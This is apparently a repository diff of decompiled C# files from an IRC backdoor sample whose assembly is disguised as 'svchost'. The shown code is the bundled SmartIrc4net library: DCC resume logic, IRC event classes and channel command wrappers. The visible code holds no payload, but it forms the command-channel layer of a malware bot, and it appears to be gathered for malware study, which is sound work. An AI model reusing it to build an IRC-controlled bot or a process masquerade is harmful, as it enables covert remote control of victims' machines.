else if (this._File.CanSeek)
{
this._File.Seek(offset, SeekOrigin.Begin);
this._SentBytes = offset;
this.Irc.SendMessage(SendType.CtcpRequest, this.User, "DCC RESUME \"" + this._Filename + "\" " + (object) this.RemoteEndPoint.Port + " " + (object) offset);
}
else
{
this._SentBytes = offset;
this.Irc.SendMessage(SendType.CtcpRequest, this.User, "DCC RESUME \"" + this._Filename + "\" " + (object) this.RemoteEndPoint.Port + " " + (object) offset);
}
return true;
}
catch (Exception ex)
{
this.isValid = false;
this.isConnected = false;
return false;
}
}
internal bool TryResume(CtcpEventArgs e)
{
if (this.User == e.Data.Nick && e.Data.MessageArray.Length > 4)
{
if (this._Filename == e.Data.MessageArray[2].Trim('"'))
{
long result = 0;
long.TryParse(this.FilterMarker(e.Data.MessageArray[4]), out result);
if (this._File.CanSeek)
{
if (e.Data.MessageArray.Length > 5)
this.Irc.SendMessage(SendType.CtcpRequest, e.Data.Nick, "DCC ACCEPT " + e.Data.MessageArray[2] + " " + e.Data.MessageArray[3] + " " + e.Data.MessageArray[4] + " " + this.FilterMarker(e.Data.MessageArray[5]));
else
this.Irc.SendMessage(SendType.CtcpRequest, e.Data.Nick, "DCC ACCEPT " + e.Data.MessageArray[2] + " " + e.Data.MessageArray[3] + " " + this.FilterMarker(e.Data.MessageArray[4]));
this._File.Seek(result, SeekOrigin.Begin);
this._SentBytes = result;
return true;
}
this.Irc.SendMessage(SendType.CtcpRequest, e.Data.Nick, "ERRMSG DCC File not seekable");
}
}
return false;
}
internal bool TryAccept(CtcpEventArgs e)
{
if (this.User == e.Data.Nick && e.Data.MessageArray.Length > 4)
{
if (this._Filename == e.Data.MessageArray[2].Trim('"'))
return this.AcceptRequest((Stream) null, 0L);
}
return false;
}
internal bool SetRemote(CtcpEventArgs e)
{
int result1 = 0;
long result2;
bool flag1 = long.TryParse(e.Data.MessageArray[3], out result2);
bool flag2 = int.TryParse(e.Data.MessageArray[4], out result1);
if (!flag1 || !flag2)
return false;
this.RemoteEndPoint = new IPEndPoint(IPAddress.Parse(this.DccIntToHost(result2)), result1);
return true;
}
}
}

View File

@ -0,0 +1,25 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.DccSendEventArgs
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public class DccSendEventArgs : DccEventArgs
{
private byte[] _Package;
private int _PackageSize;
public byte[] Package => this._Package;
public int PackageSize => this._PackageSize;
internal DccSendEventArgs(DccConnection dcc, byte[] package, int packageSize)
: base(dcc)
{
this._Package = package;
this._PackageSize = packageSize;
}
}
}

View File

@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.DccSendPacketHandler
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public delegate void DccSendPacketHandler(object sender, DccSendEventArgs e);
}

View File

@ -0,0 +1,25 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.DccSendRequestEventArgs
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public class DccSendRequestEventArgs : DccEventArgs
{
private string _Filename;
private long _Filesize;
public string Filename => this._Filename;
public long Filesize => this._Filesize;
internal DccSendRequestEventArgs(DccConnection dcc, string filename, long filesize)
: base(dcc)
{
this._Filename = filename;
this._Filesize = filesize;
}
}
}

View File

@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.DccSendRequestHandler
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public delegate void DccSendRequestHandler(object sender, DccSendRequestEventArgs e);
}

View File

@ -0,0 +1,15 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.DccSpeed
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public enum DccSpeed
{
Rfc,
RfcSendAhead,
Turbo,
}
}

View File

@ -0,0 +1,29 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.DehalfopEventArgs
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public class DehalfopEventArgs : IrcEventArgs
{
private string _Channel;
private string _Who;
private string _Whom;
public string Channel => this._Channel;
public string Who => this._Who;
public string Whom => this._Whom;
internal DehalfopEventArgs(IrcMessageData data, string channel, string who, string whom)
: base(data)
{
this._Channel = channel;
this._Who = who;
this._Whom = whom;
}
}
}

View File

@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.DehalfopEventHandler
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public delegate void DehalfopEventHandler(object sender, DehalfopEventArgs e);
}

View File

@ -0,0 +1,29 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.DeopEventArgs
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public class DeopEventArgs : IrcEventArgs
{
private string _Channel;
private string _Who;
private string _Whom;
public string Channel => this._Channel;
public string Who => this._Who;
public string Whom => this._Whom;
internal DeopEventArgs(IrcMessageData data, string channel, string who, string whom)
: base(data)
{
this._Channel = channel;
this._Who = who;
this._Whom = whom;
}
}
}

View File

@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.DeopEventHandler
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public delegate void DeopEventHandler(object sender, DeopEventArgs e);
}

View File

@ -0,0 +1,29 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.DevoiceEventArgs
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public class DevoiceEventArgs : IrcEventArgs
{
private string _Channel;
private string _Who;
private string _Whom;
public string Channel => this._Channel;
public string Who => this._Who;
public string Whom => this._Whom;
internal DevoiceEventArgs(IrcMessageData data, string channel, string who, string whom)
: base(data)
{
this._Channel = channel;
this._Who = who;
this._Whom = whom;
}
}
}

View File

@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.DevoiceEventHandler
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public delegate void DevoiceEventHandler(object sender, DevoiceEventArgs e);
}

View File

@ -0,0 +1,21 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.ErrorEventArgs
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public class ErrorEventArgs : IrcEventArgs
{
private string _ErrorMessage;
public string ErrorMessage => this._ErrorMessage;
internal ErrorEventArgs(IrcMessageData data, string errormsg)
: base(data)
{
this._ErrorMessage = errormsg;
}
}
}

View File

@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.ErrorEventHandler
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public delegate void ErrorEventHandler(object sender, ErrorEventArgs e);
}

View File

@ -0,0 +1,29 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.HalfopEventArgs
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public class HalfopEventArgs : IrcEventArgs
{
private string _Channel;
private string _Who;
private string _Whom;
public string Channel => this._Channel;
public string Who => this._Who;
public string Whom => this._Whom;
internal HalfopEventArgs(IrcMessageData data, string channel, string who, string whom)
: base(data)
{
this._Channel = channel;
this._Who = who;
this._Whom = whom;
}
}
}

View File

@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.HalfopEventHandler
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public delegate void HalfopEventHandler(object sender, HalfopEventArgs e);
}

View File

@ -0,0 +1,25 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.InviteEventArgs
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public class InviteEventArgs : IrcEventArgs
{
private string _Channel;
private string _Who;
public string Channel => this._Channel;
public string Who => this._Who;
internal InviteEventArgs(IrcMessageData data, string channel, string who)
: base(data)
{
this._Channel = channel;
this._Who = who;
}
}
}

View File

@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.InviteEventHandler
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public delegate void InviteEventHandler(object sender, InviteEventArgs e);
}

View File

@ -0,0 +1,29 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.IrcColors
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public enum IrcColors
{
White = 0,
Black = 1,
Blue = 2,
Green = 3,
LightRed = 4,
Brown = 5,
Purple = 6,
Orange = 7,
Yellow = 8,
LightGreen = 9,
Cyan = 10, // 0x0000000A
LightCyan = 11, // 0x0000000B
LightBlue = 12, // 0x0000000C
Pink = 13, // 0x0000000D
Grey = 14, // 0x0000000E
LightGrey = 15, // 0x0000000F
Transparent = 99, // 0x00000063
}
}

View File

@ -0,0 +1,601 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.IrcCommands
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
using System;
using System.Collections.Generic;
namespace Meebey.SmartIrc4net
{
public class IrcCommands : IrcConnection
{
private int _MaxModeChanges = 3;
protected int MaxModeChanges
{
get => this._MaxModeChanges;
set => this._MaxModeChanges = value;
}
public void SendMessage(SendType type, string destination, string message, Priority priority)
{
switch (type)
{
case SendType.Message:
this.RfcPrivmsg(destination, message, priority);
break;
case SendType.Action:
this.RfcPrivmsg(destination, "\u0001ACTION " + message + "\u0001", priority);
break;
case SendType.Notice:
this.RfcNotice(destination, message, priority);
break;
case SendType.CtcpReply:
this.RfcNotice(destination, "\u0001" + message + "\u0001", priority);
break;
case SendType.CtcpRequest:
this.RfcPrivmsg(destination, "\u0001" + message + "\u0001", priority);
break;
}
}
public void SendMessage(SendType type, string destination, string message) => this.SendMessage(type, destination, message, Priority.Medium);
public void SendReply(IrcMessageData data, string message, Priority priority)
{
switch (data.Type)
{
case ReceiveType.ChannelMessage:
this.SendMessage(SendType.Message, data.Channel, message, priority);
break;
case ReceiveType.QueryMessage:
this.SendMessage(SendType.Message, data.Nick, message, priority);
break;
case ReceiveType.QueryNotice:
this.SendMessage(SendType.Notice, data.Nick, message, priority);
break;
}
}
public void SendReply(IrcMessageData data, string message) => this.SendReply(data, message, Priority.Medium);
public void Op(string channel, string nickname, Priority priority) => this.WriteLine(Rfc2812.Mode(channel, "+o " + nickname), priority);
public void Op(string channel, string[] nicknames)
{
string[] newModes = nicknames != null ? new string[nicknames.Length] : throw new ArgumentNullException(nameof (nicknames));
for (int index = 0; index < nicknames.Length; ++index)
newModes[index] = "+o";
this.Mode(channel, newModes, nicknames);
}
public void Op(string channel, string nickname) => this.WriteLine(Rfc2812.Mode(channel, "+o " + nickname));
public void Deop(string channel, string nickname, Priority priority) => this.WriteLine(Rfc2812.Mode(channel, "-o " + nickname), priority);
public void Deop(string channel, string nickname) => this.WriteLine(Rfc2812.Mode(channel, "-o " + nickname));
public void Deop(string channel, string[] nicknames)
{
string[] newModes = nicknames != null ? new string[nicknames.Length] : throw new ArgumentNullException(nameof (nicknames));
for (int index = 0; index < nicknames.Length; ++index)
newModes[index] = "-o";
this.Mode(channel, newModes, nicknames);
}
public void Voice(string channel, string nickname, Priority priority) => this.WriteLine(Rfc2812.Mode(channel, "+v " + nickname), priority);
public void Voice(string channel, string nickname) => this.WriteLine(Rfc2812.Mode(channel, "+v " + nickname));
public void Voice(string channel, string[] nicknames)
{
string[] newModes = nicknames != null ? new string[nicknames.Length] : throw new ArgumentNullException(nameof (nicknames));
for (int index = 0; index < nicknames.Length; ++index)
newModes[index] = "+v";
this.Mode(channel, newModes, nicknames);
}
public void Devoice(string channel, string nickname, Priority priority) => this.WriteLine(Rfc2812.Mode(channel, "-v " + nickname), priority);
public void Devoice(string channel, string nickname) => this.WriteLine(Rfc2812.Mode(channel, "-v " + nickname));
public void Devoice(string channel, string[] nicknames)
{
string[] newModes = nicknames != null ? new string[nicknames.Length] : throw new ArgumentNullException(nameof (nicknames));
for (int index = 0; index < nicknames.Length; ++index)
newModes[index] = "-v";
this.Mode(channel, newModes, nicknames);
}
public void Ban(string channel, Priority priority) => this.WriteLine(Rfc2812.Mode(channel, "+b"), priority);
public void Ban(string channel) => this.WriteLine(Rfc2812.Mode(channel, "+b"));
public void Ban(string channel, string hostmask, Priority priority) => this.WriteLine(Rfc2812.Mode(channel, "+b " + hostmask), priority);
public void Ban(string channel, string hostmask) => this.WriteLine(Rfc2812.Mode(channel, "+b " + hostmask));
public void Ban(string channel, string[] hostmasks)
{
string[] newModes = hostmasks != null ? new string[hostmasks.Length] : throw new ArgumentNullException(nameof (hostmasks));
for (int index = 0; index < hostmasks.Length; ++index)
newModes[index] = "+b";
this.Mode(channel, newModes, hostmasks);
}
public void Unban(string channel, string hostmask, Priority priority) => this.WriteLine(Rfc2812.Mode(channel, "-b " + hostmask), priority);
public void Unban(string channel, string hostmask) => this.WriteLine(Rfc2812.Mode(channel, "-b " + hostmask));
public void Unban(string channel, string[] hostmasks)
{
string[] newModes = hostmasks != null ? new string[hostmasks.Length] : throw new ArgumentNullException(nameof (hostmasks));
for (int index = 0; index < hostmasks.Length; ++index)
newModes[index] = "-b";
this.Mode(channel, newModes, hostmasks);
}
public void Halfop(string channel, string nickname) => this.WriteLine(Rfc2812.Mode(channel, "+h " + nickname));
public void Halfop(string channel, string[] nicknames)
{
string[] newModes = nicknames != null ? new string[nicknames.Length] : throw new ArgumentNullException(nameof (nicknames));
for (int index = 0; index < nicknames.Length; ++index)
newModes[index] = "+h";
this.Mode(channel, newModes, nicknames);
}
public void Dehalfop(string channel, string nickname) => this.WriteLine(Rfc2812.Mode(channel, "-h " + nickname));
public void Dehalfop(string channel, string[] nicknames)
{
string[] newModes = nicknames != null ? new string[nicknames.Length] : throw new ArgumentNullException(nameof (nicknames));
for (int index = 0; index < nicknames.Length; ++index)
newModes[index] = "-h";
this.Mode(channel, newModes, nicknames);
}
public void Mode(string target, string[] newModes, string[] newModeParameters)
{
if (target == null)
throw new ArgumentNullException(nameof (target));
if (newModes == null)
throw new ArgumentNullException(nameof (newModes));
if (newModeParameters == null)
throw new ArgumentNullException(nameof (newModeParameters));
if (newModes.Length == 0)
throw new ArgumentException("newModes must not be empty.", nameof (newModes));
if (newModeParameters.Length == 0)
throw new ArgumentException("newModeParameters must not be empty.", nameof (newModeParameters));
if (newModes.Length != newModeParameters.Length)
throw new ArgumentException("newModes and newModeParameters must have the same size.", nameof (newModes));
int maxModeChanges = this._MaxModeChanges;
for (int index1 = 0; index1 < newModes.Length; index1 += maxModeChanges)
{
List<string> stringList1 = new List<string>(maxModeChanges);
List<string> stringList2 = new List<string>(maxModeChanges);
for (int index2 = 0; index2 < maxModeChanges && index1 + index2 < newModes.Length; ++index2)
{
stringList1.Add(newModes[index1 + index2]);
stringList2.Add(newModeParameters[index1 + index2]);
}
this.WriteLine(Rfc2812.Mode(target, stringList1.ToArray(), stringList2.ToArray()));
}
}
public void RfcPass(string password, Priority priority) => this.WriteLine(Rfc2812.Pass(password), priority);
public void RfcPass(string password) => this.WriteLine(Rfc2812.Pass(password));
public void RfcUser(string username, int usermode, string realname, Priority priority) => this.WriteLine(Rfc2812.User(username, usermode, realname), priority);
public void RfcUser(string username, int usermode, string realname) => this.WriteLine(Rfc2812.User(username, usermode, realname));
public void RfcOper(string name, string password, Priority priority) => this.WriteLine(Rfc2812.Oper(name, password), priority);
public void RfcOper(string name, string password) => this.WriteLine(Rfc2812.Oper(name, password));
public void RfcPrivmsg(string destination, string message, Priority priority) => this.WriteLine(Rfc2812.Privmsg(destination, message), priority);
public void RfcPrivmsg(string destination, string message) => this.WriteLine(Rfc2812.Privmsg(destination, message));
public void RfcNotice(string destination, string message, Priority priority) => this.WriteLine(Rfc2812.Notice(destination, message), priority);
public void RfcNotice(string destination, string message) => this.WriteLine(Rfc2812.Notice(destination, message));
public void RfcJoin(string channel, Priority priority) => this.WriteLine(Rfc2812.Join(channel), priority);
public void RfcJoin(string channel) => this.WriteLine(Rfc2812.Join(channel));
public void RfcJoin(string[] channels, Priority priority) => this.WriteLine(Rfc2812.Join(channels), priority);
public void RfcJoin(string[] channels) => this.WriteLine(Rfc2812.Join(channels));
public void RfcJoin(string channel, string key, Priority priority) => this.WriteLine(Rfc2812.Join(channel, key), priority);
public void RfcJoin(string channel, string key) => this.WriteLine(Rfc2812.Join(channel, key));
public void RfcJoin(string[] channels, string[] keys, Priority priority) => this.WriteLine(Rfc2812.Join(channels, keys), priority);
public void RfcJoin(string[] channels, string[] keys) => this.WriteLine(Rfc2812.Join(channels, keys));
public void RfcPart(string channel, Priority priority) => this.WriteLine(Rfc2812.Part(channel), priority);
public void RfcPart(string channel) => this.WriteLine(Rfc2812.Part(channel));
public void RfcPart(string[] channels, Priority priority) => this.WriteLine(Rfc2812.Part(channels), priority);
public void RfcPart(string[] channels) => this.WriteLine(Rfc2812.Part(channels));
public void RfcPart(string channel, string partmessage, Priority priority) => this.WriteLine(Rfc2812.Part(channel, partmessage), priority);
public void RfcPart(string channel, string partmessage) => this.WriteLine(Rfc2812.Part(channel, partmessage));
public void RfcPart(string[] channels, string partmessage, Priority priority) => this.WriteLine(Rfc2812.Part(channels, partmessage), priority);
public void RfcPart(string[] channels, string partmessage) => this.WriteLine(Rfc2812.Part(channels, partmessage));
public void RfcKick(string channel, string nickname, Priority priority) => this.WriteLine(Rfc2812.Kick(channel, nickname), priority);
public void RfcKick(string channel, string nickname) => this.WriteLine(Rfc2812.Kick(channel, nickname));
public void RfcKick(string[] channels, string nickname, Priority priority) => this.WriteLine(Rfc2812.Kick(channels, nickname), priority);
public void RfcKick(string[] channels, string nickname) => this.WriteLine(Rfc2812.Kick(channels, nickname));
public void RfcKick(string channel, string[] nicknames, Priority priority) => this.WriteLine(Rfc2812.Kick(channel, nicknames), priority);
public void RfcKick(string channel, string[] nicknames) => this.WriteLine(Rfc2812.Kick(channel, nicknames));
public void RfcKick(string[] channels, string[] nicknames, Priority priority) => this.WriteLine(Rfc2812.Kick(channels, nicknames), priority);
public void RfcKick(string[] channels, string[] nicknames) => this.WriteLine(Rfc2812.Kick(channels, nicknames));
public void RfcKick(string channel, string nickname, string comment, Priority priority) => this.WriteLine(Rfc2812.Kick(channel, nickname, comment), priority);
public void RfcKick(string channel, string nickname, string comment) => this.WriteLine(Rfc2812.Kick(channel, nickname, comment));
public void RfcKick(string[] channels, string nickname, string comment, Priority priority) => this.WriteLine(Rfc2812.Kick(channels, nickname, comment), priority);
public void RfcKick(string[] channels, string nickname, string comment) => this.WriteLine(Rfc2812.Kick(channels, nickname, comment));
public void RfcKick(string channel, string[] nicknames, string comment, Priority priority) => this.WriteLine(Rfc2812.Kick(channel, nicknames, comment), priority);
public void RfcKick(string channel, string[] nicknames, string comment) => this.WriteLine(Rfc2812.Kick(channel, nicknames, comment));
public void RfcKick(string[] channels, string[] nicknames, string comment, Priority priority) => this.WriteLine(Rfc2812.Kick(channels, nicknames, comment), priority);
public void RfcKick(string[] channels, string[] nicknames, string comment) => this.WriteLine(Rfc2812.Kick(channels, nicknames, comment));
public void RfcMotd(Priority priority) => this.WriteLine(Rfc2812.Motd(), priority);
public void RfcMotd() => this.WriteLine(Rfc2812.Motd());
public void RfcMotd(string target, Priority priority) => this.WriteLine(Rfc2812.Motd(target), priority);
public void RfcMotd(string target) => this.WriteLine(Rfc2812.Motd(target));
[Obsolete("use RfcLusers(Priority) instead")]
public void RfcLuser(Priority priority) => this.RfcLusers(priority);
public void RfcLusers(Priority priority) => this.WriteLine(Rfc2812.Lusers(), priority);
[Obsolete("use RfcLusers() instead")]
public void RfcLuser() => this.RfcLusers();
public void RfcLusers() => this.WriteLine(Rfc2812.Lusers());
[Obsolete("use RfcLusers(string, Priority) instead")]
public void RfcLuser(string mask, Priority priority) => this.RfcLusers(mask, priority);
public void RfcLusers(string mask, Priority priority) => this.WriteLine(Rfc2812.Lusers(mask), priority);
[Obsolete("use RfcLusers(string) instead")]
public void RfcLuser(string mask) => this.RfcLusers(mask);
public void RfcLusers(string mask) => this.WriteLine(Rfc2812.Lusers(mask));
[Obsolete("use RfcLusers(string, string, Priority) instead")]
public void RfcLuser(string mask, string target, Priority priority) => this.RfcLusers(mask, target, priority);
public void RfcLusers(string mask, string target, Priority priority) => this.WriteLine(Rfc2812.Lusers(mask, target), priority);
[Obsolete("use RfcLusers(string, string) instead")]
public void RfcLuser(string mask, string target) => this.RfcLusers(mask, target);
public void RfcLusers(string mask, string target) => this.WriteLine(Rfc2812.Lusers(mask, target));
public void RfcVersion(Priority priority) => this.WriteLine(Rfc2812.Version(), priority);
public void RfcVersion() => this.WriteLine(Rfc2812.Version());
public void RfcVersion(string target, Priority priority) => this.WriteLine(Rfc2812.Version(target), priority);
public void RfcVersion(string target) => this.WriteLine(Rfc2812.Version(target));
public void RfcStats(Priority priority) => this.WriteLine(Rfc2812.Stats(), priority);
public void RfcStats() => this.WriteLine(Rfc2812.Stats());
public void RfcStats(string query, Priority priority) => this.WriteLine(Rfc2812.Stats(query), priority);
public void RfcStats(string query) => this.WriteLine(Rfc2812.Stats(query));
public void RfcStats(string query, string target, Priority priority) => this.WriteLine(Rfc2812.Stats(query, target), priority);
public void RfcStats(string query, string target) => this.WriteLine(Rfc2812.Stats(query, target));
public void RfcLinks() => this.WriteLine(Rfc2812.Links());
public void RfcLinks(string servermask, Priority priority) => this.WriteLine(Rfc2812.Links(servermask), priority);
public void RfcLinks(string servermask) => this.WriteLine(Rfc2812.Links(servermask));
public void RfcLinks(string remoteserver, string servermask, Priority priority) => this.WriteLine(Rfc2812.Links(remoteserver, servermask), priority);
public void RfcLinks(string remoteserver, string servermask) => this.WriteLine(Rfc2812.Links(remoteserver, servermask));
public void RfcTime(Priority priority) => this.WriteLine(Rfc2812.Time(), priority);
public void RfcTime() => this.WriteLine(Rfc2812.Time());
public void RfcTime(string target, Priority priority) => this.WriteLine(Rfc2812.Time(target), priority);
public void RfcTime(string target) => this.WriteLine(Rfc2812.Time(target));
public void RfcConnect(string targetserver, string port, Priority priority) => this.WriteLine(Rfc2812.Connect(targetserver, port), priority);
public void RfcConnect(string targetserver, string port) => this.WriteLine(Rfc2812.Connect(targetserver, port));
public void RfcConnect(
string targetserver,
string port,
string remoteserver,
Priority priority)
{
this.WriteLine(Rfc2812.Connect(targetserver, port, remoteserver), priority);
}
public void RfcConnect(string targetserver, string port, string remoteserver) => this.WriteLine(Rfc2812.Connect(targetserver, port, remoteserver));
public void RfcTrace(Priority priority) => this.WriteLine(Rfc2812.Trace(), priority);
public void RfcTrace() => this.WriteLine(Rfc2812.Trace());
public void RfcTrace(string target, Priority priority) => this.WriteLine(Rfc2812.Trace(target), priority);
public void RfcTrace(string target) => this.WriteLine(Rfc2812.Trace(target));
public void RfcAdmin(Priority priority) => this.WriteLine(Rfc2812.Admin(), priority);
public void RfcAdmin() => this.WriteLine(Rfc2812.Admin());
public void RfcAdmin(string target, Priority priority) => this.WriteLine(Rfc2812.Admin(target), priority);
public void RfcAdmin(string target) => this.WriteLine(Rfc2812.Admin(target));
public void RfcInfo(Priority priority) => this.WriteLine(Rfc2812.Info(), priority);
public void RfcInfo() => this.WriteLine(Rfc2812.Info());
public void RfcInfo(string target, Priority priority) => this.WriteLine(Rfc2812.Info(target), priority);
public void RfcInfo(string target) => this.WriteLine(Rfc2812.Info(target));
public void RfcServlist(Priority priority) => this.WriteLine(Rfc2812.Servlist(), priority);
public void RfcServlist() => this.WriteLine(Rfc2812.Servlist());
public void RfcServlist(string mask, Priority priority) => this.WriteLine(Rfc2812.Servlist(mask), priority);
